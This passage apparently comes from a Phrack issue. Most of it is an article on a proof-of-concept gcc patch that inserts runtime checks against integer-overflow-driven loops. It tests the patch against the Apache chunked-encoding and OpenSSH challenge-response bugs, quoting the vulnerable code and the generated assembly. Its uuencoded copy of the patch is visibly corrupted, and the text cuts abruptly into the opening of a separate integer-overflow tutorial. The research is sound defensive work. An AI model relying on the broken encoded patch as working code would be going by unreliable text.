to reference it was a bit trickier, or so I thought. Usually when a CALL_EXPR is created, a FUNCTION_DECL is identified (as one of the available function visible to the caller) and an ADDR_EXPR is later created to express the address of the declared function. Since __blip_violation was not declared , attempts to execute lookup_name() for that name will yield an empty declaration. Fortunately gcc was kind / forgiving enough, and I was able to build a FUNCTION_DECL and reference it leaving all the rest of the work for the RTL to figure out. The code, which builds the function call, is located in blip_build_violation_call(). The function body of __blip_violation is located in the libgcc2.c (Thanks for ProPolice for giving an example..). All the modification above is being done in the spirit of proof of concept for the blip integer exploits detection. There is no warranty that the patch will actually increase the protection of any system, nor that it will keep the compiler stable and usable (while using -fblip), nor that any of the coding / patching recommendation made in the article will make any sense to the hardcore maintainer of the gcc project :>. ----[ 4.6 - Limitations This section summarizes the limitations known to me at the time of writing this article. I will start from the high-level limitations going to the low level technical limitations. - The first limitation is the coverage of the patch. The patch is designed to stop integer vulnerabilities that yield big loops. Other vulnerabilities that are due to bad design or lack of integer validation will not be protected. For example the following code is vulnerable but cannot be protected by the patch: void foo(unsigned int len,char* buf){ char dst[10]; if(len < 10){ strcpy(dst,buf); } } - Sometimes a generic integer overflow done "by the book" will not be detected. An example for such a case will be the xdr_array vulnerability. The problem is due to the fact that the malloc function was called with the overflowed expression of *two* different integer input, while the blip protection can handle only a single big count loop. When looking at the xdr_array loop, we can see that it will be easy for the attacker to supply such input integers, that will overflow the malloc expression, but will still keep the loop count small. - Some count loops will not be considered. One example is a complex loop condition and it is non trivial to identify the count loop. Such loops must be ignored, or otherwise false positives may occur which may lead to undefined execution. - [Technical limitation] The current version is designed to work only with C language. - [Technical limitation] The current version will not examine embedded assembly code which may include "loop" instructions. Therefore allowing integer overflow exploitation to go undetected. --[ 5 - References [1] StackGuard Automatic Detection and Prevention of Stack Smashing Attacks http://www.immunix.org/StackGuard/ [2] ProPolic GCC extension for protecting applications from stack-smashing attacks http://www.trl.ibm.com/projects/security/ssp/ [3] GCC GNU Compiler Collection http://gcc.gnu.org [4] noir Smashing The Kernel Stack For Fun And Profit Phrack Issue #60, Phile 0x06 by noir [5] Halvar Flake Third Generation Exploits on NT/Win2k Platforms http://www.blackhat.com/presentations/bh-europe-01/halvar-flake/bh- europe-01-halvarflake.ppt [6] MaXX Vudo malloc tricks Phrack Issue 0x39, Phile #0x08 [7] Once upon a free().. Phrack Issue 0x39, Phile #0x09 [8] Aleph One Smashing The Stack For Fun And Profit Phrack Issue 0x31, Phile #0x0E --[ 6 - Thanks I want to thanks my team for helping me in the process of creating the paper. Thank you Monty, sinan, yona, shok for your helpful comments and ideas for improving the paper. If you think the English in this paper is broken imagine what my team had to go through :>. Without you guys I would never made it. Thanks to anonymous :> for read proofing the paper, and providing helpful technical feedback and reassurance. --[ 7 - Appendix A - Real life examples Having the patch ready, I wanted to give it a test drive on one of the known and high profile vulnerabilities. The criteria used for checking the patch was: - The package should be compiled successfully with the patch - The patch should be able to protect the package against exploitation of the known bugs I've selected to test the patch on Apache httpd and the OpenSSH packages. Since both packages are: high profile, have vulnerabilities that the patch should is expected to protect against (in vulnerable version), and they are big enough to "qa" the patch a little bit. The protection test was proven to be successful:), and the vulnerable version compiled with -fblip proved to be non exploitable. The following section explains how to compile the packages with the blip patch. We will show the output assembly generated before / after the patch for the code which was enabling the exploit to overflow the program buffers. ----[ 7.1 - Apache Chunked encoding --[ Vulnerability info Just to make sure that all are in sync with the issue of the apache chunked-encoding vulnerability I will list part of the vulnerable code followed by some explanation. Code: Apache src/main/http_protocol.c : ap_get_client_block() 01 len_to_read = get_chunk_size(buffer); 02 r->remaining = len_to_read; 03 len_to_read = (r->remaining > bufsiz) ? bufsiz : r->remaining; 04 len_read = ap_bread(r->connection->client, buffer , len_to_read); The vulnerability in this case allows a remote attacker to send a negative chunk length. Doing so will bypass the check at line 3, and will end up with calling the ap_bread() with a huge positive number. --[ Testing patch To compile the apache httpd with the -fblip enabled, one may edit the file src/apaci and add the following line at the EOF "echo '-fblip'". Any attempt to send a negative chunk length after compiling apache httpd with the blip patch will end up with the httpd executing the __blip_violation. According to the blip theory, the attack should trigger some kind of a loop. We can see at line 4 of the listed code that a call is made to the ap_bread() function. So if the theory is correct we are supposed to find a loop inside that function. /* * Read up to nbyte bytes into buf. * If fewer than byte bytes are currently available, then return those. * Returns 0 for EOF, -1 for error. * NOTE EBCDIC: The readahead buffer _always_ contains *unconverted* data. * Only when the caller retrieves data from the buffer (calls bread) * is a conversion done, if the conversion flag is set at that time. */ API_EXPORT(int) ap_bread(BUFF *fb, void *buf, int nbyte) { int i, nrd; if (fb->flags & B_RDERR) return -1; if (nbyte == 0) return 0; if (!(fb->flags & B_RD)) { /* Unbuffered reading. First check if there was something in the * buffer from before we went unbuffered. */ if (fb->incnt) { i = (fb->incnt > nbyte) ? nbyte : fb->incnt; #ifdef CHARSET_EBCDIC if (fb->flags & B_ASCII2EBCDIC) ascii2ebcdic(buf, fb->inptr, i); else #endif /*CHARSET_EBCDIC*/ memcpy(buf, fb->inptr, i); fb->incnt -= i; fb->inptr += i; return i; } i = read_with_errors(fb, buf, nbyte); #ifdef CHARSET_EBCDIC if (i > 0 && ap_bgetflag(fb, B_ASCII2EBCDIC)) ascii2ebcdic(buf, buf, i); #endif /*CHARSET_EBCDIC*/ return i; } nrd = fb->incnt; /* can we fill the buffer */ if (nrd >= nbyte) { #ifdef CHARSET_EBCDIC if (fb->flags & B_ASCII2EBCDIC) ascii2ebcdic(buf, fb->inptr, nbyte); else #endif /*CHARSET_EBCDIC*/ memcpy(buf, fb->inptr, nbyte); fb->incnt = nrd - nbyte; fb->inptr += nbyte; return nbyte; } if (nrd > 0) { #ifdef CHARSET_EBCDIC if (fb->flags & B_ASCII2EBCDIC) ascii2ebcdic(buf, fb->inptr, nrd); else #endif /*CHARSET_EBCDIC*/ memcpy(buf, fb->inptr, nrd); nbyte -= nrd; buf = nrd + (char *) buf; fb->incnt = 0; } if (fb->flags & B_EOF) return nrd; /* do a single read */ if (nbyte >= fb->bufsiz) { /* read directly into caller's buffer */ i = read_with_errors(fb, buf, nbyte); #ifdef CHARSET_EBCDIC if (i > 0 && ap_bgetflag(fb, B_ASCII2EBCDIC)) ascii2ebcdic(buf, buf, i); #endif /*CHARSET_EBCDIC*/ if (i == -1) { return nrd ? nrd : -1; } } else { /* read into hold buffer, then memcpy */ fb->inptr = fb->inbase; i = read_with_errors(fb, fb->inptr, fb->bufsiz); if (i == -1) { return nrd ? nrd : -1; } fb->incnt = i; if (i > nbyte) i = nbyte; #ifdef CHARSET_EBCDIC if (fb->flags & B_ASCII2EBCDIC) ascii2ebcdic(buf, fb->inptr, i); else #endif /*CHARSET_EBCDIC*/ memcpy(buf, fb->inptr, i); fb->incnt -= i; fb->inptr += i; } return nrd + i; } We can see in the code several possible execution flows. Each one of them includes a "loop" that moves all the data into the buf parameter. If the code supports CHARSET_EBCDIC then the ascii2ebdcdic function executes the deadly loop. On other normal cases, the memcpy function implements the deadly loop. Following is the assembly code generated for the above function. .type ap_bread,@function ap_bread: pushl %ebp movl %esp, %ebp subl $40, %esp movl %ebx, -12(%ebp) movl %esi, -8(%ebp) movl %edi, -4(%ebp) movl 8(%ebp), %edi movl 16(%ebp), %ebx testb $16, (%edi) je .L68 movl $-1, %eax jmp .L67 .L68: movl $0, %eax testl %ebx, %ebx je .L67 testb $1, (%edi) jne .L70 cmpl $0, 8(%edi) je .L71 movl 8(%edi), %esi cmpl %ebx, %esi jle .L72 movl %ebx, %esi .L72: cmpl $268435456, %esi ------------------------ jbe .L73 movl %esi, (%esp) Blip Check (Using esi) call __blip_violation jmp .L74 ------------------------ .L73: movl 4(%edi), %eax movl 12(%ebp), %edx movl %edx, (%esp) movl %eax, 4(%esp) movl %esi, 8(%esp) call memcpy .L74: subl %esi, 8(%edi) addl %esi, 4(%edi) movl %esi, %eax jmp .L67 .L71: movl %edi, (%esp) movl 12(%ebp), %eax movl %eax, 4(%esp) movl %ebx, 8(%esp) call read_with_errors jmp .L67 .L70: movl 8(%edi), %edx movl %edx, -16(%ebp) cmpl %ebx, %edx jl .L75 cmpl $268435456, %ebx ------------------------ jbe .L76 movl %ebx, (%esp) Blip check (using ebx) call __blip_violation jmp .L77 ------------------------ .L76: movl 4(%edi), %eax movl 12(%ebp), %edx movl %edx, (%esp) movl %eax, 4(%esp) movl %ebx, 8(%esp) call memcpy .L77: movl -16(%ebp), %eax subl %ebx, %eax movl %eax, 8(%edi) addl %ebx, 4(%edi) movl %ebx, %eax jmp .L67 .L75: cmpl $0, -16(%ebp) jle .L78 cmpl $268435456, -16(%ebp) ------------------------ jbe .L79 movl -16(%ebp), %eax Blip check movl %eax, (%esp) (using [ebp-16]) call __blip_violation jmp .L80 ------------------------ .L79: movl 4(%edi), %eax movl 12(%ebp), %edx movl %edx, (%esp) movl %eax, 4(%esp) movl -16(%ebp), %eax movl %eax, 8(%esp) call memcpy .L80: subl -16(%ebp), %ebx movl -16(%ebp), %edx addl %edx, 12(%ebp) movl $0, 8(%edi) .L78: testb $4, (%edi) je .L81 movl -16(%ebp), %eax jmp .L67 .L81: cmpl 28(%edi), %ebx jl .L82 movl %edi, (%esp) movl 12(%ebp), %eax movl %eax, 4(%esp) movl %ebx, 8(%esp) call read_with_errors movl %eax, %esi cmpl $-1, %eax jne .L85 jmp .L91 .L82: movl 20(%edi), %eax movl %eax, 4(%edi) movl %edi, (%esp) movl %eax, 4(%esp) movl 28(%edi), %eax movl %eax, 8(%esp) call read_with_errors movl %eax, %esi cmpl $-1, %eax jne .L86 .L91: cmpl $0, -16(%ebp) setne %al movzbl %al, %eax decl %eax orl -16(%ebp), %eax jmp .L67 .L86: movl %eax, 8(%edi) cmpl %ebx, %eax jle .L88 movl %ebx, %esi .L88: cmpl $268435456, %esi ------------------------ jbe .L89 movl %esi, (%esp) Blip check (using esi) call __blip_violation jmp .L90 ------------------------ .L89: movl 4(%edi), %eax movl 12(%ebp), %edx movl %edx, (%esp) movl %eax, 4(%esp) movl %esi, 8(%esp) call memcpy .L90: subl %esi, 8(%edi) addl %esi, 4(%edi) .L85: movl -16(%ebp), %eax addl %esi, %eax .L67: movl -12(%ebp), %ebx movl -8(%ebp), %esi movl -4(%ebp), %edi movl %ebp, %esp popl %ebp ret One can notice that before any call to the memcpy function (which is one of the "loop like" functions), a little code was added which calls __blip_violation in the case the 3rd parameter of memcpy is bigger than blip_max. Another thing worth mentioning is the way the injected check is accessing this 3rd parameter. In the first block of the injected code the parameter is stored at the esi register, at the second block the parameter is stored in the ebx register and in the third block the parameter is stored on the stack at ebp-16. The reason for that is very simple. Since the modification of the code was done at the AST tree, and since the patch was using the exact same tree node that was used in the call expression to memcpy, the RTL generated the same code for both the call expression and the check expression. Now lets go back to the ap_bread function. And lets assume that the CHARSET_EBCDIC was indeed defined. In that case the ascii2ebcdic function would have being the one to have the "vulnerable" loop. Therefore we hope that the blip patch would check the loop in that function as well. The following is the ascii2ebcdic code taken from src/ap/ap_ebcdic.c API_EXPORT(void *) ascii2ebcdic(void *dest, const void *srce, size_t count) { unsigned char *udest = dest; const unsigned char *usrce = srce; while (count-- != 0) { *udest++ = os_toebcdic[*usrce++]; } return dest; } Result of compiling the above function with the -fblip .type ascii2ebcdic,@function ascii2ebcdic: pushl %ebp movl %esp, %ebp pushl %edi pushl %esi pushl %ebx subl $12, %esp movl 16(%ebp), %ebx movl 8(%ebp), %edi movl 12(%ebp), %esi cmpl $0, %ebx ------------------- jbe .L12 cmpl $268435456, %ebx jbe .L12 Blip check movl %ebx, (%esp) call __blip_violation .L12: ------------------- decl %ebx cmpl $-1, %ebx je .L18 .L16: movzbl (%esi), %eax movzbl os_toebcdic(%eax), %eax movb %al, (%edi) incl %esi incl %edi decl %ebx cmpl $-1, %ebx jne .L16 .L18: movl 8(%ebp), %eax addl $12, %esp popl %ebx popl %esi popl %edi popl %ebp ret .Lfe2: While processing the ascii2ebcdic function, the blip patch identified the while loop as a count-loop. The loop condition supplies all the information required to create a . First we identify the variables of the loop. In this case "count" is one var and the constant "0" is the second one. Looking for variable modification, we can see that "count" is decremented in the expression "count--". Since "count" is the only modified variable we can say that "count" is the count-variable and the constant 0 is the limit-variable. We can also say that the loop is a decrement-loop since the modification operation is "--". The check therefore will be (count > limit && count - limit > MAX_BLIP). Looking at the above assembly code, we can see that the loop count is stored in the ebx register (Its easy to spot this by looking at the code below label 12 (L12). This code represent the while condition. It first decrements ebx and later compares it with the loop constant). The therefore will utilize the ebx register for the check. ----[ 7.2 - OpenSSH auth --[ Vulnerability info The OpenSSH Vulnerability is an example of an integer overflow bug, which results in a miscalculated allocation size. The following is a snippet of the vulnerable code: OpenSSH auth2-chall.c : input_userauth_info_response() 01 nresp = packet_get_int(); 02 response = xmalloc(nresp * sizeof(char*)); 03 for(i = 0; i < nresp; i++) 04 response[i] = packet_get_string(NULL); At line 01 the code reads an integer into an unsigned variable. Later the code allocates an array with nresp entries. The problem is that nresp * sizeof(char*) is an expression that may overflow. Therefore sending nresp bigger than 0x40000000 allows allocation of a small buffer that can be later overflowed by the assignment in line 04. --[ Testing the patch To compile the OpenSSH package with the -fblip enabled, one may add - fblip to the CFLAGS definition at Makefile.in (i.e. CFLAGS=@CFLAGS@ - fblip) Any attempt to send a large number of responses after compiling OpenSSH with the blip patch will end up with OpenSSH executing the __blip_violation. The following is snippet of the vulnerable function. static void input_userauth_info_response(int type, u_int32_t seq, void *ctxt) { Authctxt *authctxt = ctxt; KbdintAuthctxt *kbdintctxt; int i, authenticated = 0, res, len; u_int nresp; char **response = NULL, *method; nresp = packet_get_int(); if (nresp != kbdintctxt->nreq) fatal("input_userauth_info_response: wrong number of replies"); if (nresp > 0) { ----------------------------------------- ** Vulnerable code ** ----------------------------------------- response = xmalloc(nresp * sizeof(char*)); for (i = 0; i < nresp; i++) response[i] = packet_get_string(NULL); } } The above function is translated to the following assembly code if compiled with the -fblip protection.(In order to make blip modification readable, the code was compiled using -O instead of using -O2, which will reorder basic blocks) .type input_userauth_info_response,@function input_userauth_info_response: movl -16(%ebp), %eax movl $0, 4(%eax) call packet_get_int movl %eax, %esi movl -20(%ebp), %edx cmpl 12(%edx), %eax je .L111 movl $.LC15, (%esp) call fatal .L112: testl %esi, %esi je .L113 leal 0(,%esi,4), %eax movl %eax, (%esp) call xmalloc movl %eax, -32(%ebp) movl $0, %ebx cmpl $0, %esi jbe .L115 cmpl $268435456, %esi ------------------------ jbe .L115 movl %esi, (%esp) Blip Check call __blip_violation .L115: ------------------------ cmpl %esi, %ebx jae .L113 .L120: movl $0, (%esp) call packet_get_string movl -32(%ebp), %ecx movl %eax, (%ecx,%ebx,4) incl %ebx cmpl %esi, %ebx jb .L120 The blip patch identified the for-loop as a count-loop and injected a code to direct the flow to the _blip_violation handler in the case that the limit (i.e. nresp) is bigger then the BLIP_MAX. Therefore if nresp value will be high enough to trigger an overflow in the call to xmalloc, it will also be high enough to get caught by the . --[ 8 - Appendix B - Using blip To enable the blip patch one should first add the -fblip flag when executing the gcc compiler. The blip patch will attempt to emit the whenever it seems possible to do so. The patch will silently ignore all loops or calls, which cannot be protected. In order to see the ignored loops one can use one of the following warning flags, which will also provide a message describing the reason for ignoring the specific loop. Warning flags: - blip_for_not_emit - report ignored for loops. - blip_while_not_emit - report ignored while loops. - blip_call_not_emit - report ignored calls to loop like function. A reason for ignoring a loop will be one of the following: - Loop variables are less then 4 bytes long - for init is not an expression - call to function is made using a pointer to function - call parameters have side effects. Reusing the expression may cause unexpected results - loop condition is too complex in order to find the loop variables - non of loop variables is modified (not enough info to make check) - both loop var are modified - condition is too complex The blip patch is also capable of reporting check statistics. Using the -fblip_stat one can make the blip patch to print out statistical information about amount of loops processed and the amount of loops that where successfully checked. The following command line will compile the first sample code. The output of the compilation will follow $ gcc -o sample -fblip -fblip_stat -O sample.c -=] Blip statistics (checks emits) Total: 1/100% 1/100% for: 1/100% 1/100% while: 0/0% 0/0% calls: 0/0% 0/0% -=] End Blip Statistics begin 640 blip.patch M9&EF9B`M3G5R(&=C8RTS+C(O9V-C+TUA:V5F:6QE+FEN(&=C8RTS+C(M8FQI M<"]G8V,O36%K969I;&4N:6X-"BTM+2!G8V,M,RXR+V=C8R]-86ME9FEL92YI M;@E4:'4@36%Y(#(S(#$P.C4W.C(Q(#(P,#(-"BLK*R!G8V,M,RXR+6)L:7`O M9V-C+TUA:V5F:6QE+FEN"4UO;B!$96,@(#(@,3DZ-#(Z,SD@,C`P,@T*0$`@ M+36]U="YO('-T2!O9@T-"BL@ M*B`@("!-15)#2$%.5$%"24Q)5%D@;W(@1DE43D534R!&3U(@02!005)424-5 M3$%2(%!54E!/4T4N("!3964@=&AE#0T**R`J("`@($=.52!'96YE7-T96TN:"(-#0HK(VEN8VQU9&4@(FUA8VAM;V1E M+F@B#0T**R-I;F-L=61E(")R=&PN:"(-#0HK(VEN8VQU9&4@(G1R964N:"(- M#0HK(VEN8VQU9&4@(G1O<&QE=BYH(@T-"BLC:6YC;'5D92`B8FQI<"YH(@T- M"BLC:6YC;'5D92`B9FQA9W,N:"(-#0HK(VEN8VQU9&4@(F,M8V]M;6]N+F@B M#0T**PT-"BLO*B!T:&ES('-T7,@#0T**R`J('-T871L97-S M+"!T:&%N(&ETR)B8V]P>2(L,GTL#0T**PE[(F)Z M97)O(BPQ?2P-#0HK"7LB2D@"7D@/R`H>"`J(#$P,"DO>2`Z(#`- M#0HK#0T**R\J('!R:6YT(&)L:7`@2!D;R!S M;R!I9B!T:&4@'`@/2!B=6EL9%]F=6YC=&EO;E]C M86QL*&)L:7!?9G5N8U]D96-L+'!A'`[#0T**WT-#0HK#0T**R\J(`E#'`@9F]R('1H M92!B;&EP(&-O;F1I=&EO;B!T:&4@97AP('=I;&P@8F4@;V8@0T].1%]%6%!2 M(`T-"BL@*B`)='EP92P@86YD('=I;&P@:&%V92!T:&4@9F]L;&]W:6YG(&9O M2!T:&4@9&ER96-T:6]N(&]F('1H92!L;V]P(`T-"BL@*@T-"BL@ M*B`)($%S(&$@;F]T92P@:2!C;W5L9"!H879E(&%D9"!S;VUE(&5X=')A(&QO M9VEC('1O(&5L:6UI;F%T92!T:&4@8V]M<&QE>"`-#0HK("H@"2!C:&5C:R!I M9B!T:&4@;&EM:70O8V]U;G0@87)E(&-O;G-T86YT7!E7VYO9&4[ M#0T**PET"D@/2!O<%]T=#L-#0HK#0T**PT-"BL)+RH@:68@;&]O<"!C;W5N=&5R(&]R M(&QO;W`@;&EM:70@87)E('-M86QL97(@=&AE;B`T8GET92!I;G1S(`T-"BL) M("H@9&]N="!E=F5N(&)O=&AE$9&1D9&1D9&*7L-#0HK M"0D);&]O<%]L:6UI="YL:6UI="`](&EN=&5G97)?>F5R;U]N;V1E.PD)#0T* M*PD)?0T-"BL)#0T**PD-#0HK"0DO*B!C;VYV97)T('1H92!L:6UI="!A;F0@ M8V]U;G0@:6YT;R!U;G-I9VYE9"!I;G0@:68@=&AE>2!APT-"BL)"0EL;V]P7VQI;6ET+FQI;6ET M(#T@8G5I;&0Q("A#3TY615)47T584%(L;&]N9U]U;G-I9VYE9%]T>7!E7VYO M9&4L#0T**PD)"0D)"0D)"0EL;V]P7VQI;6ET+FQI;6ET*3L-#0HK"0E]#0T* M*PD)#0T**PD)#0T**PD)+RH@8V]N'!R97-S M:6]NPT-"BL)"0EM:6YU"D[#0T* M*PD):68H(6UI;G5S7V=T7VUA>"D@"D[#0T* M*PD-#0HK"0EI9B@A=%]A;F1I9BD@PT-"BL)"0EL M;V]P7VQI;6ET+FQI;6ET(#T@8G5I;&0Q("A#3TY615)47T584%(L;&]N9U]U M;G-I9VYE9%]T>7!E7VYO9&4L#0T**PD)"0D)"0D)"0EL;V]P7VQI;6ET+FQI M;6ET*3L-#0HK"0E]#0T**PT-"BL)"6]P7V=T7VUA>"`](&)U:6QD("A'5%]% M6%!2+&)O;VQE86Y?='EP95]N;V1E+&QO;W!?;&EM:70N;&EM:70L8FQI<%]M M87@I.PT-"BL)"6EF*"%O<%]G=%]M87@I(')E='5R;B!.54Q,.PT-"BL-#0HK M"0EC;VYD7W1E'`B(&%S(&9A;'-E(&5X<"!O9B!T:&4@ M0T].1%]%6%!2("HO#0T**PEC;VYD7V5X<"`](&)U:6QD("A#3TY$7T584%(L M='0L8V]N9%]T97-T+&)L:7!?=FEO;&%T:6]N7V-A;&PL#0T**PD)"0D@97AP M(#\@97AP(#H@:6YT96=EPT-"BL- M#0HK"71R964)8VAE8VM?'`],#L- M#0HK#0T**PEC:&5C:U]E>'`@/2!B;&EP7V)U:6QD7V-H96-K7V5X<"AE>'`I M.PT-"BL):68H(6-H96-K7V5X<"D@'`I>PT-"BL)"6)L:7!? M=V%R;FEN9RA.15]&3U(L#0T**PD)"2)B;&EP.B!I;G1E'`[#0T**PE]#0T**PEE;'-E>PT-"BL)"2\J M(&-O;G-T'!R97-S:6]N("HO#0T**PD) M8V]M<&]U;F1?97AP7!E M7VYO9&4L#0T**PD)"0D)"0D)5%)%15]/4$5204Y$("AF;W)?:6YI="PP*2P- M#0HK"0D)"0D)"0EB;&EP7V5X<"D[#0T**PD-#0HK"0EI9B@A8V]M<&]U;F1? M97AP65T(&%D9&5D('1O('1H92!T M2!A9&0@;W5R(&-O;F0N(`T-"BL@*B\-#0HK M(`T-"BMB;V]L("`-#0HK8FQI<%]E;6ET7W=H:6QE7VQO;W!?8VAE8VMS*"D- M#0HK>PT-"BL)=')E90EB;&EP7W-T;70[#0T**PD)#0T**PEB;&EP7W-T;70@ M/2!B;&EP7V)U:6QD7V-H96-K7W-T;70H3E5,3%]44D5%*3L-#0HK"6EF*"%B M;&EP7W-T;70I(')E='5R;B!F86QS93L-#0HK"0T-"BL)861D7W-T;70H8FQI M<%]S=&UT*3L-#0HK"0T-"BL)'!R97-S:6]N+B`J+R`-#0HK#0T**W1R964@(`T-"BMB;&EP7V5M:71?8V%L M;%]C:&5C:W,H8V%L;"D-#0HK"71R964)8V%L;#L-#0HK"0D-#0HK>PT-"BL) M=')E90EC:&5C:U]E>'`[#0T**PT-"BL)8VAE8VM?97AP(#T@8FQI<%]B=6EL M9%]C:&5C:U]E>'`H8V%L;"D[(`T-"BL-#0HK"2\J(&EF('=E(&9A:6QE9"!T M;R!C;VYV97)T('1H92!E>'`@:6YT;R!O=7(@8VAE8VLL(`T-"BL)("H@=&AE M;B!R971U'`I(')E='5R;B!C86QL.PT-"BL-#0HK"7)E='5R;B!C:&5C:U]E>'`[#0T* M*WT-#0HK#0T**R\J(&-H96-K(&EF(&$@9&5C;"!I'!R('=A'!R('1O(&-O;7!L97@@=&\@=F5R9FEY#0T**R`J(`D@*'=E(&-A;B!C M:&5A="!I;B!F:7)S="!V97)S:6]N(&%N9"!C;&%I;2!T:&%T(&%L;6]S="!E M=F5R>71H:6YG#0T**R`J(`D@:7,@=&]O(&AA'`@/2!44D5%7T]015)!3D0@*'0L,2D[#0T**PD) M"6EF*`E44D5%7T]015)!3D0@*'0L,"D@/3T@9&5C;"`F)@T-"BL)"0D)97AP M("8F#0T**PD)"0E44D5%7T]015)!3D0@*&5X<"PP*2`]/2!D96-L("8F#0T* M*PD)"0E44D5%7T]015)!3D0@*&5X<"PQ*2`F)@T-"BL)"0D)5%)%15]#3TY3 M5$%.5"`H5%)%15]/4$5204Y$("AE>'`L,2DI*7L-#0HK#0T**PT-"BL)"0D) M:68H5%)%15]#3T1%("AE>'`I(#T](%!,55-?15A04BE[#0T**PD)"0D);&]O M<%]L:6UI="YD:7(@/2!)3D-214U%3E0[#0T**PD)"0D)'!R+"!I;B!T:&ES(&-A'!R97-S:6]N'!R(&1O;G0@:&%V92!A9&1R97-S(&5X<'(B*3L)#0T**PD)#L-#0HK"0D) M8G)E86L[#0T**PD)?0T-"BL)?0T-"BL)#0T**PDO*B!I9B!F=6YC=&EO;B!N M;W0@9F]U;F0@:6X@;&]O<%]L:6ME"`F)B!P87)A;3L@:2LK*7L-#0HK"0EP87)A M;2`](%12145?0TA!24X@*'!APT-"BL)"0D)"6)L:7!?=V%R;FEN9RA314Q&7T-( M14-++`T-"BL)"0D)"0D)(F)L:7`Z(&-A;G0@9FEN9"!L;V]P(&1E8VP@:6X@ M8V]N9&ET:6]N(BD[#0T**PD)"0D)+RH@8V]N9&ET:6]N('1O;R!C;VUP;&5X M+"!R971U&ES="D@*B\-#0HK"0D) M:68H;G5M7VUO9&EF:65D(#T](#`I>PT-"BL)"0D)8FQI<%]W87)N:6YG*%-% M3$9?0TA%0TLL#0T**PD)"0D)(F)L:7`Z('=H:6-H(&QO;W`@=F%R(&ES(&UO M9&EF:65D/R`H8F]D>2!N;W0@PT-"BL)+RH@3&]O<"!P87)TF4@;&]O<%]L:6UI="!G M;&]B86P@*B\-#0HK"6QO;W!?;&EM:70N'!R M(&9O2!C;VYD:71I;VX@97AP&5U8W1I;VX@("HO#0T**PT-"BL)8V%S92!&3U)?4U1-5#H-#0HK M"0EB;&EP7W-T870N9F]R7V-H96-K2D@=6YK;F]W;B!I;G1E9V5R(&]V97)F;&]W M(&%N9"!S:6=N('9U;&YE0T**W1H92!&7!E M9&5F(&5N=6T@;&]O<%]D:7(-"BM[#0HK"55.2TY/5TY?1$E2+"\J('=E(&-A M;FYO="!T96QL(&QO;W`@9&ER96-T:6]N("HO#0HK"4E.0U)%345.5"P)+RH@ M;&]O<"!IPT**PE314Q&7T-(14-++`DO*B!U7!E9&5F('-T M2P@;65M;6]V92XN(&9O"!T;R!T:&4@<&%R86T@ M#0HK("H@=VAI8V@@:7,@7!E9&5F('-T7-?:6YL:6YE M(BP@1$5#3%]!5%1224)55$53("AF;BDI("$]($Y53$PI#0H@("`@(')E='5R M;B`Q.PT*(`T**R`@:68H1$5#3%],04Y'7U-014-)1DE#("AF;BD@/3T@3E5, M3"D@#0HK"2`@7!E/C(I.R!]#0H@"2`@8SDY7V)L;V-K7VQI M;F5N;U]L86)E;&5D7W-T;70-"BT)"7L@4D5#2$%)3E]35$U44R`H)#QT='EP M93XV+"!72$E,15]"3T19("@D/'1T>7!E/C8I*3L@?0T**PD)>R!214-(04E. M7U-43513("@D/'1T>7!E/C8L(%=(24Q%7T)/1%D@*"0\='1Y<&4^-BDI.WT- M"B`)?"!D;U]S=&UT7W-T87)T#0H@"2`@)R@G(&5X<'(@)RDG("<[)PT*("`@ M("`@("`@("`@("`@("![($1/7T-/3D0@*"0Q*2`]('1R=71H=F%L=65?8V]N M=F5RR!214-(04E.7U-4 M3513("@D/'1T>7!E/C(L($9/4E]"3T19("@D/'1T>7!E/C(I*3L-"BL)"0D) M("!B;&EP7V-H96-K7VQO;W!?;&EM:70@*"0\='1Y<&4^,BD[('T-"B`)?"!3 M5TE40T@@)R@G(&5X<'(@)RDG#0H@"0E[('-T;71?8V]U;G0K*SL-"B`)"2`@ M)#QT='EP93XD(#T@8U]S=&%R=%]C87-E("@D,RD[('T-"F1I9F8@+4YU7!E M8VLN8PT*+2TM(&=C8RTS+C(O9V-C+V,M='EP96-K+F,)5&AU($UA7!E("AR97-U M;'0I.PT*9&EF9B`M3G5R(&=C8RTS+C(O9V-C+V9L86=S+F@@9V-C+3,N,BUB M;&EP+V=C8R]F;&%G'1E'1E'1E&-E<'1I;VX-"B`@(%]5;G=I;F1?4VI,:E]&;W)C9615;G=I;F0-"B`@(%]5 M;G=I;F1?4VI,:E]297-U;64-"BL-"BL@(",@0FEG($QO;W`@26YT96=E&ET("HO#0HK#0HK(VEF9&5F($Q?8FQI<%]V M:6]L871I;VX-"BMV;VED(%]?8FQI<%]V:6]L871I;VX@*'5N'1E2!I;F9O'!L;VET M871I;VYS+B`J+PT**PT**VEN="!F;&%G7V)L:7`@/2`P.PT**VEN="!F;&%G M7V)L:7!?PT*0$`@+3$Q-3`L-B`K,3$V-2PQ,"!`0`T* M("`@($Y?*")297!O2!A;&QO8V%T:6]N M(&%T(&5N9"!O9B!R=6XB*2!]+`T*("`@>R`B=')A<'8B+"`F9FQA9U]TR)B M;&EP7W=H:6QE7VYO=%]E;6ET(BP@)G=A2!P;VEN="!O9B!C8S$L(&-C,7!L=7,L(&IC,2P@9C ]=-------------------=| 1: Introduction 1.1 What is an integer? 1.2 What is an integer overflow? 1.3 Why can they be dangerous? 2: Integer overflows 2.1 Widthness overflows 2.1.1 Exploiting 2.2 Arithmetic overflows 2.2.1 Exploiting 3: Signedness bugs 3.1 What do they look like? 3.1.1 Exploiting 3.2 Signedness bugs caused by integer overflows 4: Real world examples 4.1 Integer overflows 4.2 Signedness bugs --[ 1.0 Introduction In this paper I'm going to describe two classes of programming bugs which can sometimes allow a malicious user to modify the execution path of an affected process. Both of these classes of bug work by causing variables to contain unexpected values, and so are not as "direct" as classes which overwrite memory, e.g. buffer overflows or format strings. All the examples given in the paper are in C, so a basic familiarity with C is assumed. A knowledge of how integers are stored in memory is also useful, but not essential. ----[ 1.1 What is an integer? An integer, in the context of computing, is a variable capable of representing a real number with no fractional part. Integers are typically the same size as a pointer on the system they are compiled on (i.e. on a 32 bit system, such as i386, an integer is 32 bits long, on a 64 bit system, such as SPARC, an integer is 64 bits long). Some compilers don't use integers and pointers of the same size however, so for the sake of simplicity all the examples refer to a 32 bit system with 32 bit integers, longs and pointers. Integers, like all variables are just regions of memory. When we talk about integers, we usually represent them in decimal, as that is the numbering system humans are most used to. Computers, being digital, cannot deal with decimal, so internally to the computer integers are stored in binary. Binary is another system of representing numbers which uses only two numerals, 1 and 0, as opposed to the ten numerals used in decimal. As well as binary and decimal, hexadecimal (base sixteen) is often used in computing as it is very easy to convert between binary and hexadecimal. Since it is often necessary to store negative numbers, there needs to be a mechanism to represent negative numbers using only binary. The way this is accomplished is by using the most significant bit (MSB) of a variable to determine the sign: if the MSB is set to 1, the variable is interpreted as 